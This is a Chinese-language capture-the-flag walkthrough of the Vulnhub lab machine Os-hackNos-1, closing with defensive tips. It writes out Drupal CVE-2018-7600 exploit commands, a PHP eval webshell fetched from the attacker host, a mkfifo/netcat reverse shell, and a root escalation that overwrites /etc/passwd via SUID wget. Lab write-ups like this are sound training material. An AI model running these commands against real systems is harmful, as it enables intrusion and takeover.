Vulnhub--Os-hackNos-1
字数 1228 2025-08-11 08:35:50

Os-hackNos-1 渗透测试教学文档

靶机概述

  • 难度级别:容易到中级
  • 目标:获取两个flag和root权限
  • 下载地址:https://download.vulnhub.com/hacknos/Os-hackNos-1.ova
  • 网络配置:建议使用NAT模式

环境准备

  1. 下载并导入.ova文件到虚拟机
  2. 启动靶机(导入过程中出现警告可忽略)
  3. 确定靶机IP地址(使用arp-scan -l命令)

信息收集阶段

1. 网络扫描

nmap -A -T4 -p- 192.168.237.154

发现开放端口:

  • 22端口:SSH服务
  • 80端口:Web服务(Apache)

2. Web服务枚举

  1. 访问Web页面,发现默认Apache页面
  2. 进行目录爆破,发现新的URL路径
  3. 访问新URL,发现Drupal 7 CMS页面
  4. 注意到用户名"james"可能相关

漏洞利用

1. Drupalgeddon2漏洞利用

  1. 下载漏洞利用工具:
git clone https://github.com/dreadlocked/Drupalgeddon2.git
  1. 安装依赖:
gem install highline
  1. 执行漏洞扫描:
./drupalgeddon2.rb http://192.168.237.154/drupal
  1. 成功获取低权限shell

2. 信息深度收集

  1. 检查Drupal版本(查看CHANGELOG.txt)
  2. 查找配置文件路径(/sites/default/settings.php)
  3. 尝试查看配置文件但失败

3. 使用CVE-2018-7600漏洞

  1. 下载利用工具:
python3 drupa7-CVE-2018-7600.py http://192.168.237.154/drupal/ -c "cat sites/default/settings.php"
  1. 尝试命令执行:
python3 drupa7-CVE-2018-7600.py http://192.168.237.154/drupal/ -c "whoami"

获取稳定shell

1. 上传一句话木马

  1. 创建shell.php文件:
<?php eval(@$_POST['HK']); ?>
  1. 在攻击机启动Python HTTP服务:
python3 -m http.server 8000
  1. 使用漏洞下载木马:
python3 drupa7-CVE-2018-7600.py http://192.168.237.154/drupal/ -c "wget http://192.168.237.156:8000/shell.php -O /var/www/html/drupal/shell.php"
  1. 使用蚁剑连接webshell

2. 反弹shell

  1. 攻击机监听:
nc -lvnp 3333
  1. 靶机执行反弹命令(因nc无-e参数,使用替代方法):
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.237.156 3333 >/tmp/f
  1. 升级交互式shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'

提权阶段

1. 发现凭据

  1. 在/var/www/html目录发现alexander.txt

  2. 文件内容为Base64编码,解码后得到Brainfuck加密文本

  3. 再次解密得到凭据:james:Hacker@4514

  4. 尝试SSH登录失败(密码不正确)

2. 查找SUID文件

find / -perm -u=s -type f 2>/dev/null

发现可利用的SUID文件:

  • wget
  • passwd

3. 通过wget提权

  1. 备份原始passwd文件:
cp /etc/passwd /tmp/passwd.bak
  1. 在攻击机生成新密码:
openssl passwd -1 -salt abc password123
  1. 构造新的passwd条目(格式与root相同,替换用户名和加密密码)

  2. 使用wget替换passwd文件:

wget http://192.168.237.156:8000/passwd -O /etc/passwd
  1. 使用新创建的用户登录获取root权限

获取flag

  1. 在/home/james目录下找到user.txt(第一个flag)
  2. 在/root目录下找到最终的flag

技术要点总结

  1. 信息收集:全面的端口扫描和Web目录枚举是关键
  2. 漏洞利用:针对已知CMS漏洞快速利用(Drupalgeddon2和CVE-2018-7600)
  3. 反弹shell技巧:当标准方法失效时的替代方案
  4. 提权方法:利用SUID权限和文件替换技术
  5. 密码破解:识别和转换不同加密方式的凭据

防御建议

  1. 及时更新CMS系统和插件
  2. 限制SUID权限的文件数量
  3. 对重要系统文件设置不可变属性(chattr +i)
  4. 使用强密码策略
  5. 限制Web目录的可写权限
Os-hackNos-1 渗透测试教学文档 靶机概述 难度级别:容易到中级 目标:获取两个flag和root权限 下载地址:https://download.vulnhub.com/hacknos/Os-hackNos-1.ova 网络配置:建议使用NAT模式 环境准备 下载并导入.ova文件到虚拟机 启动靶机(导入过程中出现警告可忽略) 确定靶机IP地址(使用 arp-scan -l 命令) 信息收集阶段 1. 网络扫描 发现开放端口: 22端口:SSH服务 80端口:Web服务(Apache) 2. Web服务枚举 访问Web页面,发现默认Apache页面 进行目录爆破,发现新的URL路径 访问新URL,发现Drupal 7 CMS页面 注意到用户名"james"可能相关 漏洞利用 1. Drupalgeddon2漏洞利用 下载漏洞利用工具: 安装依赖: 执行漏洞扫描: 成功获取低权限shell 2. 信息深度收集 检查Drupal版本(查看CHANGELOG.txt) 查找配置文件路径(/sites/default/settings.php) 尝试查看配置文件但失败 3. 使用CVE-2018-7600漏洞 下载利用工具: 尝试命令执行: 获取稳定shell 1. 上传一句话木马 创建shell.php文件: 在攻击机启动Python HTTP服务: 使用漏洞下载木马: 使用蚁剑连接webshell 2. 反弹shell 攻击机监听: 靶机执行反弹命令(因nc无-e参数,使用替代方法): 升级交互式shell: 提权阶段 1. 发现凭据 在/var/www/html目录发现alexander.txt 文件内容为Base64编码,解码后得到Brainfuck加密文本 再次解密得到凭据:james:Hacker@4514 尝试SSH登录失败(密码不正确) 2. 查找SUID文件 发现可利用的SUID文件: wget passwd 3. 通过wget提权 备份原始passwd文件: 在攻击机生成新密码: 构造新的passwd条目(格式与root相同,替换用户名和加密密码) 使用wget替换passwd文件: 使用新创建的用户登录获取root权限 获取flag 在/home/james目录下找到user.txt(第一个flag) 在/root目录下找到最终的flag 技术要点总结 信息收集 :全面的端口扫描和Web目录枚举是关键 漏洞利用 :针对已知CMS漏洞快速利用(Drupalgeddon2和CVE-2018-7600) 反弹shell技巧 :当标准方法失效时的替代方案 提权方法 :利用SUID权限和文件替换技术 密码破解 :识别和转换不同加密方式的凭据 防御建议 及时更新CMS系统和插件 限制SUID权限的文件数量 对重要系统文件设置不可变属性(chattr +i) 使用强密码策略 限制Web目录的可写权限